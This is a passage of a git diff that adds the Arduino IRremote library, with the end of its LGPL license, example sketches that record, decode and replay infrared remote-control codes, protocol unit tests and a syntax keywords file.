+distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties with +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under any +particular circumstance, the balance of the section is intended to apply, +and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License may add +an explicit geographical distribution limitation excluding those countries, +so that distribution is permitted only in or among countries not thus +excluded. In such case, this License incorporates the limitation as if +written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Lesser General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRrecord/IRrecord.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRrecord/IRrecord.ino new file mode 100755 index 0000000..caf86de --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRrecord/IRrecord.ino @@ -0,0 +1,167 @@ +/* + * IRrecord: record and play back IR signals as a minimal + * An IR detector/demodulator must be connected to the input RECV_PIN. + * An IR LED must be connected to the output PWM pin 3. + * A button must be connected to the input BUTTON_PIN; this is the + * send button. + * A visible LED can be connected to STATUS_PIN to provide status. + * + * The logic is: + * If the button is pressed, send the IR code. + * If an IR code is received, record it. + * + * Version 0.11 September, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + */ + +#include + +int RECV_PIN = 11; +int BUTTON_PIN = 12; +int STATUS_PIN = 13; + +IRrecv irrecv(RECV_PIN); +IRsend irsend; + +decode_results results; + +void setup() +{ + Serial.begin(9600); + irrecv.enableIRIn(); // Start the receiver + pinMode(BUTTON_PIN, INPUT); + pinMode(STATUS_PIN, OUTPUT); +} + +// Storage for the recorded code +int codeType = -1; // The type of code +unsigned long codeValue; // The code value if not raw +unsigned int rawCodes[RAWBUF]; // The durations if raw +int codeLen; // The length of the code +int toggle = 0; // The RC5/6 toggle state + +// Stores the code for later playback +// Most of this code is just logging +void storeCode(decode_results *results) { + codeType = results->decode_type; + int count = results->rawlen; + if (codeType == UNKNOWN) { + Serial.println("Received unknown code, saving as raw"); + codeLen = results->rawlen - 1; + // To store raw codes: + // Drop first value (gap) + // Convert from ticks to microseconds + // Tweak marks shorter, and spaces longer to cancel out IR receiver distortion + for (int i = 1; i <= codeLen; i++) { + if (i % 2) { + // Mark + rawCodes[i - 1] = results->rawbuf[i]*USECPERTICK - MARK_EXCESS; + Serial.print(" m"); + } + else { + // Space + rawCodes[i - 1] = results->rawbuf[i]*USECPERTICK + MARK_EXCESS; + Serial.print(" s"); + } + Serial.print(rawCodes[i - 1], DEC); + } + Serial.println(""); + } + else { + if (codeType == NEC) { + Serial.print("Received NEC: "); + if (results->value == REPEAT) { + // Don't record a NEC repeat value as that's useless. + Serial.println("repeat; ignoring."); + return; + } + } + else if (codeType == SONY) { + Serial.print("Received SONY: "); + } + else if (codeType == RC5) { + Serial.print("Received RC5: "); + } + else if (codeType == RC6) { + Serial.print("Received RC6: "); + } + else { + Serial.print("Unexpected codeType "); + Serial.print(codeType, DEC); + Serial.println(""); + } + Serial.println(results->value, HEX); + codeValue = results->value; + codeLen = results->bits; + } +} + +void sendCode(int repeat) { + if (codeType == NEC) { + if (repeat) { + irsend.sendNEC(REPEAT, codeLen); + Serial.println("Sent NEC repeat"); + } + else { + irsend.sendNEC(codeValue, codeLen); + Serial.print("Sent NEC "); + Serial.println(codeValue, HEX); + } + } + else if (codeType == SONY) { + irsend.sendSony(codeValue, codeLen); + Serial.print("Sent Sony "); + Serial.println(codeValue, HEX); + } + else if (codeType == RC5 || codeType == RC6) { + if (!repeat) { + // Flip the toggle bit for a new button press + toggle = 1 - toggle; + } + // Put the toggle bit into the code to send + codeValue = codeValue & ~(1 << (codeLen - 1)); + codeValue = codeValue | (toggle << (codeLen - 1)); + if (codeType == RC5) { + Serial.print("Sent RC5 "); + Serial.println(codeValue, HEX); + irsend.sendRC5(codeValue, codeLen); + } + else { + irsend.sendRC6(codeValue, codeLen); + Serial.print("Sent RC6 "); + Serial.println(codeValue, HEX); + } + } + else if (codeType == UNKNOWN /* i.e. raw */) { + // Assume 38 KHz + irsend.sendRaw(rawCodes, codeLen, 38); + Serial.println("Sent raw"); + } +} + +int lastButtonState; + +void loop() { + // If button pressed, send the code. + int buttonState = digitalRead(BUTTON_PIN); + if (lastButtonState == HIGH && buttonState == LOW) { + Serial.println("Released"); + irrecv.enableIRIn(); // Re-enable receiver + } + + if (buttonState) { + Serial.println("Pressed, sending"); + digitalWrite(STATUS_PIN, HIGH); + sendCode(lastButtonState == buttonState); + digitalWrite(STATUS_PIN, LOW); + delay(50); // Wait a bit between retransmissions + } + else if (irrecv.decode(&results)) { + digitalWrite(STATUS_PIN, HIGH); + storeCode(&results); + irrecv.resume(); // resume receiver + digitalWrite(STATUS_PIN, LOW); + } + lastButtonState = buttonState; +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDemo/IRrecvDemo.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDemo/IRrecvDemo.ino new file mode 100755 index 0000000..f7b45b8 --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDemo/IRrecvDemo.ino @@ -0,0 +1,28 @@ +/* + * IRremote: IRrecvDemo - demonstrates receiving IR codes with IRrecv + * An IR detector/demodulator must be connected to the input RECV_PIN. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + */ + +#include + +int RECV_PIN = 11; + +IRrecv irrecv(RECV_PIN); + +decode_results results; + +void setup() +{ + Serial.begin(9600); + irrecv.enableIRIn(); // Start the receiver +} + +void loop() { + if (irrecv.decode(&results)) { + Serial.println(results.value, HEX); + irrecv.resume(); // Receive the next value + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDump/IRrecvDump.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDump/IRrecvDump.ino new file mode 100755 index 0000000..6afcb0f --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDump/IRrecvDump.ino @@ -0,0 +1,81 @@ +/* + * IRremote: IRrecvDump - dump details of IR codes with IRrecv + * An IR detector/demodulator must be connected to the input RECV_PIN. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ + +#include + +int RECV_PIN = 11; + +IRrecv irrecv(RECV_PIN); + +decode_results results; + +void setup() +{ + Serial.begin(9600); + irrecv.enableIRIn(); // Start the receiver +} + +// Dumps out the decode_results structure. +// Call this after IRrecv::decode() +// void * to work around compiler issue +//void dump(void *v) { +// decode_results *results = (decode_results *)v +void dump(decode_results *results) { + int count = results->rawlen; + if (results->decode_type == UNKNOWN) { + Serial.print("Unknown encoding: "); + } + else if (results->decode_type == NEC) { + Serial.print("Decoded NEC: "); + } + else if (results->decode_type == SONY) { + Serial.print("Decoded SONY: "); + } + else if (results->decode_type == RC5) { + Serial.print("Decoded RC5: "); + } + else if (results->decode_type == RC6) { + Serial.print("Decoded RC6: "); + } + else if (results->decode_type == PANASONIC) { + Serial.print("Decoded PANASONIC - Address: "); + Serial.print(results->panasonicAddress,HEX); + Serial.print(" Value: "); + } + else if (results->decode_type == JVC) { + Serial.print("Decoded JVC: "); + } + Serial.print(results->value, HEX); + Serial.print(" ("); + Serial.print(results->bits, DEC); + Serial.println(" bits)"); + Serial.print("Raw ("); + Serial.print(count, DEC); + Serial.print("): "); + + for (int i = 0; i < count; i++) { + if ((i % 2) == 1) { + Serial.print(results->rawbuf[i]*USECPERTICK, DEC); + } + else { + Serial.print(-(int)results->rawbuf[i]*USECPERTICK, DEC); + } + Serial.print(" "); + } + Serial.println(""); +} + + +void loop() { + if (irrecv.decode(&results)) { + Serial.println(results.value, HEX); + dump(&results); + irrecv.resume(); // Receive the next value + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRrelay/IRrelay.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRrelay/IRrelay.ino new file mode 100755 index 0000000..046fb5f --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRrelay/IRrelay.ino @@ -0,0 +1,85 @@ +/* + * IRremote: IRrecvDemo - demonstrates receiving IR codes with IRrecv + * An IR detector/demodulator must be connected to the input RECV_PIN. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + */ + +#include + +int RECV_PIN = 11; +int RELAY_PIN = 4; + +IRrecv irrecv(RECV_PIN); +decode_results results; + +// Dumps out the decode_results structure. +// Call this after IRrecv::decode() +// void * to work around compiler issue +//void dump(void *v) { +// decode_results *results = (decode_results *)v +void dump(decode_results *results) { + int count = results->rawlen; + if (results->decode_type == UNKNOWN) { + Serial.println("Could not decode message"); + } + else { + if (results->decode_type == NEC) { + Serial.print("Decoded NEC: "); + } + else if (results->decode_type == SONY) { + Serial.print("Decoded SONY: "); + } + else if (results->decode_type == RC5) { + Serial.print("Decoded RC5: "); + } + else if (results->decode_type == RC6) { + Serial.print("Decoded RC6: "); + } + Serial.print(results->value, HEX); + Serial.print(" ("); + Serial.print(results->bits, DEC); + Serial.println(" bits)"); + } + Serial.print("Raw ("); + Serial.print(count, DEC); + Serial.print("): "); + + for (int i = 0; i < count; i++) { + if ((i % 2) == 1) { + Serial.print(results->rawbuf[i]*USECPERTICK, DEC); + } + else { + Serial.print(-(int)results->rawbuf[i]*USECPERTICK, DEC); + } + Serial.print(" "); + } + Serial.println(""); +} + +void setup() +{ + pinMode(RELAY_PIN, OUTPUT); + pinMode(13, OUTPUT); + Serial.begin(9600); + irrecv.enableIRIn(); // Start the receiver +} + +int on = 0; +unsigned long last = millis(); + +void loop() { + if (irrecv.decode(&results)) { + // If it's been at least 1/4 second since the last + // IR received, toggle the relay + if (millis() - last > 250) { + on = !on; + digitalWrite(RELAY_PIN, on ? HIGH : LOW); + digitalWrite(13, on ? HIGH : LOW); + dump(&results); + } + last = millis(); + irrecv.resume(); // Receive the next value + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRsendDemo/IRsendDemo.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRsendDemo/IRsendDemo.ino new file mode 100755 index 0000000..a21af31 --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRsendDemo/IRsendDemo.ino @@ -0,0 +1,25 @@ +/* + * IRremote: IRsendDemo - demonstrates sending IR codes with IRsend + * An IR LED must be connected to Arduino PWM pin 3. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + */ + +#include + +IRsend irsend; + +void setup() +{ + Serial.begin(9600); +} + +void loop() { + if (Serial.read() != -1) { + for (int i = 0; i < 3; i++) { + irsend.sendSony(0xa90, 12); // Sony TV power code + delay(40); + } + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRtest/IRtest.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRtest/IRtest.ino new file mode 100755 index 0000000..4845a4a --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRtest/IRtest.ino @@ -0,0 +1,190 @@ +/* + * IRremote: IRtest unittest + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + * + * Note: to run these tests, edit IRremote/IRremote.h to add "#define TEST" + * You must then recompile the library by removing IRremote.o and restarting + * the arduino IDE. + */ + +#include +#include + +// Dumps out the decode_results structure. +// Call this after IRrecv::decode() +// void * to work around compiler issue +//void dump(void *v) { +// decode_results *results = (decode_results *)v +void dump(decode_results *results) { + int count = results->rawlen; + if (results->decode_type == UNKNOWN) { + Serial.println("Could not decode message"); + } + else { + if (results->decode_type == NEC) { + Serial.print("Decoded NEC: "); + } + else if (results->decode_type == SONY) { + Serial.print("Decoded SONY: "); + } + else if (results->decode_type == RC5) { + Serial.print("Decoded RC5: "); + } + else if (results->decode_type == RC6) { + Serial.print("Decoded RC6: "); + } + Serial.print(results->value, HEX); + Serial.print(" ("); + Serial.print(results->bits, DEC); + Serial.println(" bits)"); + } + Serial.print("Raw ("); + Serial.print(count, DEC); + Serial.print("): "); + + for (int i = 0; i < count; i++) { + if ((i % 2) == 1) { + Serial.print(results->rawbuf[i]*USECPERTICK, DEC); + } + else { + Serial.print(-(int)results->rawbuf[i]*USECPERTICK, DEC); + } + Serial.print(" "); + } + Serial.println(""); +} + +IRrecv irrecv(0); +decode_results results; + +class IRsendDummy : +public IRsend +{ +public: + // For testing, just log the marks/spaces +#define SENDLOG_LEN 128 + int sendlog[SENDLOG_LEN]; + int sendlogcnt; + IRsendDummy() : + IRsend() { + } + void reset() { + sendlogcnt = 0; + } + void mark(int time) { + sendlog[sendlogcnt] = time; + if (sendlogcnt < SENDLOG_LEN) sendlogcnt++; + } + void space(int time) { + sendlog[sendlogcnt] = -time; + if (sendlogcnt < SENDLOG_LEN) sendlogcnt++; + } + // Copies the dummy buf into the interrupt buf + void useDummyBuf() { + int last = SPACE; + irparams.rcvstate = STATE_STOP; + irparams.rawlen = 1; // Skip the gap + for (int i = 0 ; i < sendlogcnt; i++) { + if (sendlog[i] < 0) { + if (last == MARK) { + // New space + irparams.rawbuf[irparams.rawlen++] = (-sendlog[i] - MARK_EXCESS) / USECPERTICK; + last = SPACE; + } + else { + // More space + irparams.rawbuf[irparams.rawlen - 1] += -sendlog[i] / USECPERTICK; + } + } + else if (sendlog[i] > 0) { + if (last == SPACE) { + // New mark + irparams.rawbuf[irparams.rawlen++] = (sendlog[i] + MARK_EXCESS) / USECPERTICK; + last = MARK; + } + else { + // More mark + irparams.rawbuf[irparams.rawlen - 1] += sendlog[i] / USECPERTICK; + } + } + } + if (irparams.rawlen % 2) { + irparams.rawlen--; // Remove trailing space + } + } +}; + +IRsendDummy irsenddummy; + +void verify(unsigned long val, int bits, int type) { + irsenddummy.useDummyBuf(); + irrecv.decode(&results); + Serial.print("Testing "); + Serial.print(val, HEX); + if (results.value == val && results.bits == bits && results.decode_type == type) { + Serial.println(": OK"); + } + else { + Serial.println(": Error"); + dump(&results); + } +} + +void testNEC(unsigned long val, int bits) { + irsenddummy.reset(); + irsenddummy.sendNEC(val, bits); + verify(val, bits, NEC); +} +void testSony(unsigned long val, int bits) { + irsenddummy.reset(); + irsenddummy.sendSony(val, bits); + verify(val, bits, SONY); +} +void testRC5(unsigned long val, int bits) { + irsenddummy.reset(); + irsenddummy.sendRC5(val, bits); + verify(val, bits, RC5); +} +void testRC6(unsigned long val, int bits) { + irsenddummy.reset(); + irsenddummy.sendRC6(val, bits); + verify(val, bits, RC6); +} + +void test() { + Serial.println("NEC tests"); + testNEC(0x00000000, 32); + testNEC(0xffffffff, 32); + testNEC(0xaaaaaaaa, 32); + testNEC(0x55555555, 32); + testNEC(0x12345678, 32); + Serial.println("Sony tests"); + testSony(0xfff, 12); + testSony(0x000, 12); + testSony(0xaaa, 12); + testSony(0x555, 12); + testSony(0x123, 12); + Serial.println("RC5 tests"); + testRC5(0xfff, 12); + testRC5(0x000, 12); + testRC5(0xaaa, 12); + testRC5(0x555, 12); + testRC5(0x123, 12); + Serial.println("RC6 tests"); + testRC6(0xfffff, 20); + testRC6(0x00000, 20); + testRC6(0xaaaaa, 20); + testRC6(0x55555, 20); + testRC6(0x12345, 20); +} + +void setup() +{ + Serial.begin(9600); + test(); +} + +void loop() { +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRtest2/IRtest2.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRtest2/IRtest2.ino new file mode 100755 index 0000000..56b8a4d --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRtest2/IRtest2.ino @@ -0,0 +1,290 @@ +/* + * Test send/receive functions of IRremote, using a pair of Arduinos. + * + * Arduino #1 should have an IR LED connected to the send pin (3). + * Arduino #2 should have an IR detector/demodulator connected to the + * receive pin (11) and a visible LED connected to pin 3. + * + * The cycle: + * Arduino #1 will wait 2 seconds, then run through the tests. + * It repeats this forever. + * Arduino #2 will wait for at least one second of no signal + * (to synchronize with #1). It will then wait for the same test + * signals. It will log all the status to the serial port. It will + * also indicate status through the LED, which will flash each time a test + * is completed. If there is an error, it will light up for 5 seconds. + * + * The test passes if the LED flashes 19 times, pauses, and then repeats. + * The test fails if the LED lights for 5 seconds. + * + * The test software automatically decides which board is the sender and which is + * the receiver by looking for an input on the send pin, which will indicate + * the sender. You should hook the serial port to the receiver for debugging. + * + * Copyright 2010 Ken Shirriff + * http://arcfn.com + */ + +#include + +int RECV_PIN = 11; +int LED_PIN = 3; + +IRrecv irrecv(RECV_PIN); +IRsend irsend; + +decode_results results; + +#define RECEIVER 1 +#define SENDER 2 +#define ERROR 3 + +int mode; + +void setup() +{ + Serial.begin(9600); + // Check RECV_PIN to decide if we're RECEIVER or SENDER + if (digitalRead(RECV_PIN) == HIGH) { + mode = RECEIVER; + irrecv.enableIRIn(); + pinMode(LED_PIN, OUTPUT); + digitalWrite(LED_PIN, LOW); + Serial.println("Receiver mode"); + } + else { + mode = SENDER; + Serial.println("Sender mode"); + } +} + +// Wait for the gap between tests, to synchronize with +// the sender. +// Specifically, wait for a signal followed by a gap of at last gap ms. +void waitForGap(int gap) { + Serial.println("Waiting for gap"); + while (1) { + while (digitalRead(RECV_PIN) == LOW) { + } + unsigned long time = millis(); + while (digitalRead(RECV_PIN) == HIGH) { + if (millis() - time > gap) { + return; + } + } + } +} + +// Dumps out the decode_results structure. +// Call this after IRrecv::decode() +void dump(decode_results *results) { + int count = results->rawlen; + if (results->decode_type == UNKNOWN) { + Serial.println("Could not decode message"); + } + else { + if (results->decode_type == NEC) { + Serial.print("Decoded NEC: "); + } + else if (results->decode_type == SONY) { + Serial.print("Decoded SONY: "); + } + else if (results->decode_type == RC5) { + Serial.print("Decoded RC5: "); + } + else if (results->decode_type == RC6) { + Serial.print("Decoded RC6: "); + } + Serial.print(results->value, HEX); + Serial.print(" ("); + Serial.print(results->bits, DEC); + Serial.println(" bits)"); + } + Serial.print("Raw ("); + Serial.print(count, DEC); + Serial.print("): "); + + for (int i = 0; i < count; i++) { + if ((i % 2) == 1) { + Serial.print(results->rawbuf[i]*USECPERTICK, DEC); + } + else { + Serial.print(-(int)results->rawbuf[i]*USECPERTICK, DEC); + } + Serial.print(" "); + } + Serial.println(""); +} + + +// Test send or receive. +// If mode is SENDER, send a code of the specified type, value, and bits +// If mode is RECEIVER, receive a code and verify that it is of the +// specified type, value, and bits. For success, the LED is flashed; +// for failure, the mode is set to ERROR. +// The motivation behind this method is that the sender and the receiver +// can do the same test calls, and the mode variable indicates whether +// to send or receive. +void test(char *label, int type, unsigned long value, int bits) { + if (mode == SENDER) { + Serial.println(label); + if (type == NEC) { + irsend.sendNEC(value, bits); + } + else if (type == SONY) { + irsend.sendSony(value, bits); + } + else if (type == RC5) { + irsend.sendRC5(value, bits); + } + else if (type == RC6) { + irsend.sendRC6(value, bits); + } + else { + Serial.print(label); + Serial.println("Bad type!"); + } + delay(200); + } + else if (mode == RECEIVER) { + irrecv.resume(); // Receive the next value + unsigned long max_time = millis() + 30000; + Serial.print(label); + + // Wait for decode or timeout + while (!irrecv.decode(&results)) { + if (millis() > max_time) { + Serial.println("Timeout receiving data"); + mode = ERROR; + return; + } + } + if (type == results.decode_type && value == results.value && bits == results.bits) { + Serial.println (": OK"); + digitalWrite(LED_PIN, HIGH); + delay(20); + digitalWrite(LED_PIN, LOW); + } + else { + Serial.println(": BAD"); + dump(&results); + mode = ERROR; + } + } +} + +// Test raw send or receive. This is similar to the test method, +// except it send/receives raw data. +void testRaw(char *label, unsigned int *rawbuf, int rawlen) { + if (mode == SENDER) { + Serial.println(label); + irsend.sendRaw(rawbuf, rawlen, 38 /* kHz */); + delay(200); + } + else if (mode == RECEIVER ) { + irrecv.resume(); // Receive the next value + unsigned long max_time = millis() + 30000; + Serial.print(label); + + // Wait for decode or timeout + while (!irrecv.decode(&results)) { + if (millis() > max_time) { + Serial.println("Timeout receiving data"); + mode = ERROR; + return; + } + } + + // Received length has extra first element for gap + if (rawlen != results.rawlen - 1) { + Serial.print("Bad raw length "); + Serial.println(results.rawlen, DEC); + mode = ERROR; + return; + } + for (int i = 0; i < rawlen; i++) { + long got = results.rawbuf[i+1] * USECPERTICK; + // Adjust for extra duration of marks + if (i % 2 == 0) { + got -= MARK_EXCESS; + } + else { + got += MARK_EXCESS; + } + // See if close enough, within 25% + if (rawbuf[i] * 1.25 < got || got * 1.25 < rawbuf[i]) { + Serial.println(": BAD"); + dump(&results); + mode = ERROR; + return; + } + + } + Serial.println (": OK"); + digitalWrite(LED_PIN, HIGH); + delay(20); + digitalWrite(LED_PIN, LOW); + } +} + +// This is the raw data corresponding to NEC 0x12345678 +unsigned int sendbuf[] = { /* NEC format */ + 9000, 4500, + 560, 560, 560, 560, 560, 560, 560, 1690, /* 1 */ + 560, 560, 560, 560, 560, 1690, 560, 560, /* 2 */ + 560, 560, 560, 560, 560, 1690, 560, 1690, /* 3 */ + 560, 560, 560, 1690, 560, 560, 560, 560, /* 4 */ + 560, 560, 560, 1690, 560, 560, 560, 1690, /* 5 */ + 560, 560, 560, 1690, 560, 1690, 560, 560, /* 6 */ + 560, 560, 560, 1690, 560, 1690, 560, 1690, /* 7 */ + 560, 1690, 560, 560, 560, 560, 560, 560, /* 8 */ + 560}; + +void loop() { + if (mode == SENDER) { + delay(2000); // Delay for more than gap to give receiver a better chance to sync. + } + else if (mode == RECEIVER) { + waitForGap(1000); + } + else if (mode == ERROR) { + // Light up for 5 seconds for error + digitalWrite(LED_PIN, HIGH); + delay(5000); + digitalWrite(LED_PIN, LOW); + mode = RECEIVER; // Try again + return; + } + + // The test suite. + test("SONY1", SONY, 0x123, 12); + test("SONY2", SONY, 0x000, 12); + test("SONY3", SONY, 0xfff, 12); + test("SONY4", SONY, 0x12345, 20); + test("SONY5", SONY, 0x00000, 20); + test("SONY6", SONY, 0xfffff, 20); + test("NEC1", NEC, 0x12345678, 32); + test("NEC2", NEC, 0x00000000, 32); + test("NEC3", NEC, 0xffffffff, 32); + test("NEC4", NEC, REPEAT, 32); + test("RC51", RC5, 0x12345678, 32); + test("RC52", RC5, 0x0, 32); + test("RC53", RC5, 0xffffffff, 32); + test("RC61", RC6, 0x12345678, 32); + test("RC62", RC6, 0x0, 32); + test("RC63", RC6, 0xffffffff, 32); + + // Tests of raw sending and receiving. + // First test sending raw and receiving raw. + // Then test sending raw and receiving decoded NEC + // Then test sending NEC and receiving raw + testRaw("RAW1", sendbuf, 67); + if (mode == SENDER) { + testRaw("RAW2", sendbuf, 67); + test("RAW3", NEC, 0x12345678, 32); + } + else { + test("RAW2", NEC, 0x12345678, 32); + testRaw("RAW3", sendbuf, 67); + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/JVCPanasonicSendDemo/JVCPanasonicSendDemo.ino b/Projects/libraries/Installed_libs/IRRemote/examples/JVCPanasonicSendDemo/JVCPanasonicSendDemo.ino new file mode 100755 index 0000000..33c167c --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/JVCPanasonicSendDemo/JVCPanasonicSendDemo.ino @@ -0,0 +1,29 @@ +/* + * IRremote: IRsendDemo - demonstrates sending IR codes with IRsend + * An IR LED must be connected to Arduino PWM pin 3. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ +#include + +#define PanasonicAddress 0x4004 // Panasonic address (Pre data) +#define PanasonicPower 0x100BCBD // Panasonic Power button + +#define JVCPower 0xC5E8 + +IRsend irsend; + +void setup() +{ +} + +void loop() { + irsend.sendPanasonic(PanasonicAddress,PanasonicPower); // This should turn your TV on and off + + irsend.sendJVC(JVCPower, 16,0); // hex value, 16 bits, no repeat + delayMicroseconds(50); // see http://www.sbprojects.com/knowledge/ir/jvc.php for information + irsend.sendJVC(JVCPower, 16,1); // hex value, 16 bits, repeat + delayMicroseconds(50); +} diff --git a/Projects/libraries/Installed_libs/IRRemote/keywords.txt b/Projects/libraries/Installed_libs/IRRemote/keywords.txt new file mode 100755 index 0000000..74010c4 --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/keywords.txt @@ -0,0 +1,50 @@ +####################################### +# Syntax Coloring Map For IRremote +####################################### + +####################################### +# Datatypes (KEYWORD1) +####################################### + +decode_results KEYWORD1 +IRrecv KEYWORD1 +IRsend KEYWORD1 + +####################################### +# Methods and Functions (KEYWORD2) +####################################### + +blink13 KEYWORD2 +decode KEYWORD2 +enableIRIn KEYWORD2 +resume KEYWORD2 +enableIROut KEYWORD2 +sendNEC KEYWORD2 +sendSony KEYWORD2 +sendSanyo KEYWORD2 +sendMitsubishi KEYWORD2 +sendRaw KEYWORD2 +sendRC5 KEYWORD2 +sendRC6 KEYWORD2 +sendDISH KEYWORD2 +sendSharp KEYWORD2 +sendPanasonic KEYWORD2 +sendJVC KEYWORD2 + +# +####################################### +# Constants (LITERAL1) +####################################### + +NEC LITERAL1 +SONY LITERAL1 +SANYO LITERAL1 +MITSUBISHI LITERAL1 +RC5 LITERAL1 +RC6 LITERAL1 +DISH LITERAL1 +SHARP LITERAL1 +PANASONIC LITERAL1 +JVC LITERAL1 +UNKNOWN LITERAL1 +REPEAT LITERAL1 \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/IRRemote/readme 